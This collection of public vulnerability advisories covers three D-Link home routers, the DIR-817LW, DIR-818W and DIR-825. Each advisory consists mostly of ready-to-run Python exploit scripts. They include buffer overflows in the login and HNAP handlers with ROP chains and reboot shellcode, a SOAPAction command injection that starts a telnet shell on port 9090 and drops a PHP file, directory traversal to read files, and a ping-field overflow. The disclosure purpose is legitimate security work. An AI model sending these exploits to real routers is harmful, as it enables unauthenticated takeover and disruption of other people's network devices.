## Advisory Information Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth -------------------------------------------------------------------- import socket import struct #Reboot shellcode in there buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #s0 # uclibc system address buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 # buf+="\x2A\xAC\xD5\xB4" # points to rop3 #buf+="1"*17 # exit payload buf+="E"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian buf+="Y"*120 # ROP gadget 2 that loads into $t9 buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct # Working buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="AAAA" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 buf+="\x2A\xAC\xD5\xB4" # points to rop3 buf+="C"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell buf+="B"*28+"\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) --------------------------------------------------------------------- Command injection -------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose and internal buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf) ---------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
Category Archives: Dlink
D-Link DIR-818W – Multiple Vulnerabilities
## Advisory Information Title: DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-818W firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth -------------------------------------------------------------------- import socket import struct #Reboot shellcode in there ''' 2096 after id GET param, you can control the RA ''' buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #S0 # uclibc system address buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library buf+="\x2A\xB1\x4D\xF0" #JUNK S3 buf+="\x2A\xB1\x4D\xF0" #JUNK S4 buf+="\x2A\xB1\x4D\xF0" #JUNK S5 buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="\x2A\xB1\x4D\xF0" #JUNK S7 buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called) buf+="C"*36 # buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4) buf+="E"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian buf+="Y"*120 buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------- import socket import struct ''' 548 characters after SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work, although sprintf copies twice so only 242 characters are required including /var/run and /etc/templates/hnap which is concatenated with your string to create 548 characters ''' buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="AAAA" #s7 JUNK buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which is called) buf+="C"*36 buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps to ROP4 which calls SP+16 stored in S4) buf+="C"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #Reboot shellcode Big endian buf+="B"*28+"\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ------------------------------------------------------------------- Command injection --------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose for v2.02 buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) ---------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
D-Link DIR-825 (vC) – Multiple Vulnerabilities
## Advisory Information Title: DIR-825 (vC) Buffer overflows in authentication,HNAP and ping functionalities. Also a directory traversal issue exists which can be exploited Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-825 (vC) -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 4 security issues in DIR-825 firmware which allows an attacker to exploit buffer overflows in authentication, HNAP and Ping functionalities. first 2 of the buffer overflows in auth and HNAP can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. The ping functionality based buffer overflow and directory traversal would require an attacker to be on network and use XSRF to exploit buffer overflow whereas would require some sort of authentication as low privileged user atleast to exploit directory traversal. ## Details Buffer overflow in auth ----------------------------------------------------------------------- import socket import struct ''' 287 + XXXX in query_string value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' buf = "GET /dws/api/Login?test=" buf+="B"*251 buf+="CCCC" #s0 buf+="FFFF" #s1 buf+="FFFF" #s2 buf+="FFFF" #s3 buf+="XXXX" #s4 buf+="HHHH" #s5 buf+="IIII" #s6 buf+="JJJJ" #s7 buf+="LLLL" buf+="\x2a\xbc\x8c\xa0" # retn address buf+="C"*24 # buf+="sh;;" buf+="K"*20 buf+="\x2a\xc0\xd2\xa0" #s1 buf+="\x2a\xc0\xd2\xa0" #s1 buf +="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCC" buf+="&password=A HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml +xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ---------------------------------------------------------------------- Buffer overflow in HNAP ----------------------------------------------------------------------- import socket import struct ''' 4138 + XXXX in SoapAction value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' buf = "POST /HNAP1/ HTTP/1.1\r\n" buf+= "Host: 10.0.0.90\r\n" buf+="SOAPACTION:http://purenetworks.com/HNAP1/GetDeviceSettings/"+"A"*4138+"\x2a\xbc\x8c\xa0"+"D"*834+"\r\n" buf+="Proxy-Connection: keep-alive\r\n" buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n" buf+"Cache-Control: max-age=0\r\n" buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36\r\n" buf+="Accept-Encoding: gzip,deflate,sdch\r\n" buf+="Accept-Language: en-US,en;q=0.8\r\n" buf+="Cookie: uid:1111;\r\n" buf+="Content-Length: 13\r\n\r\ntest=test\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ---------------------------------------------------------------------- Directory traversal ---------------------------------------------------------------------- import socket import struct ''' Useful to do directory traversal attack which is possible in html_response_page variable below which prints the conf file, but theoretically any file, most likely only after login accessible ''' payload="html_response_page=../etc/host.conf&action=do_graph_auth&login_name=test&login_pass=test1&login_n=test2&l og_pass=test3&graph_code=63778&session_id=test5&test=test" buf = "POST /apply.cgi HTTP/1.1\r\n" buf+= "Host: 10.0.0.90\r\n" buf+="Proxy-Connection: keep-alive\r\n" buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n" buf+"Cache-Control: max-age=0\r\n" buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36\r\n" buf+="Accept-Encoding: gzip,deflate,sdch\r\n" buf+="Accept-Language: en-US,en;q=0.8\r\n" buf+="Cookie: session_id=test5;\r\n" buf+="Content-Length: "+str(len(payload))+"\r\n\r\n" buf+=payload+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc ---------------------------------------------------------------------- Buffer overflow in ping ---------------------------------------------------------------------- import socket import struct ''' 282 + XXXX in ping_ipaddr value, right now only working with Exit address as sleep address has bad chars which disallows from using regular shellcode directly ''' payload="html_response_page=tools_vct.asp&action=ping_test&html_response_return_page=tools_vct.asp&ping=ping&ping_ ipaddr=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"+"\x2a\xbc\x8c\xa0"+"CCXXXXDDDDEEEE&test=test" buf = "POST /ping_response.cgi HTTP/1.1\r\n" buf+= "Host: 10.0.0.90\r\n" buf+="Proxy-Connection: keep-alive\r\n" buf+="Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==\r\n" buf+"Cache-Control: max-age=0\r\n" buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" buf+="User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36\r\n" buf+="Accept-Encoding: gzip,deflate,sdch\r\n" buf+="Accept-Language: en-US,en;q=0.8\r\n" buf+="Cookie: session_id=test5;\r\n" buf+="Content-Length: "+str(len(payload))+"\r\n\r\n" buf+=payload+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.0.0.90", 80)) s.send(buf) soc=s.recv(2048) print soc --------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley